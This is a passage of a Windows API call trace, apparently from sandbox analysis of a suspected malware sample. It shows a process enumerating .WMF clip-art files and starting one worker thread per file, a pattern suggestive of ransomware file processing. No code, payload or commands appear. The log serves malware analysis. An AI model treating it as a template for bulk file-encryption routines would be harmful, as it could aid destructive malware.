	[0203.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1440
	[0203.133] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.134] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1
	[0203.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x143c
	[0203.137] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.137] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1
	[0203.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x149c
	[0203.140] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.140] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1
	[0203.141] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1498
	[0203.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.143] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1
	[0203.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1494
	[0203.146] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.147] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1
	[0203.147] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a0
	[0203.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.150] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1
	[0203.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1490
	[0203.767] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.769] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1
	[0203.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a8
	[0203.771] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.772] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1
	[0203.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d8
	[0203.774] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.775] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1
	[0203.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a4
	[0203.777] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.778] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1
	[0203.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14dc
	[0203.781] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.781] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1
	[0203.786] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e0
	[0203.788] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.788] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1
	[0203.789] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e4
	[0203.791] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.792] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1
	[0203.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8
	[0203.795] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.795] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1
	[0203.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ec
	[0203.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.799] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1
	[0203.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f0
	[0203.802] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.802] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1
	[0203.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0203.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f4
	[0204.095] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.096] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1
	[0204.097] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f8
	[0204.100] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.101] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1
	[0204.101] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14fc
	[0204.103] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.104] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1
	[0204.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1500
	[0204.106] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.106] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1
	[0204.106] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1504
	[0204.109] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.110] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1
	[0204.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1508
	[0204.113] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.113] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1
	[0204.113] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150c
	[0204.116] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.117] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1
	[0204.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1510
	[0204.119] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.119] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1
	[0204.119] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1514
	[0204.122] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.122] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1
	[0204.122] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1518
	[0204.125] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.126] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1
	[0204.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x151c
	[0204.128] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.128] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1
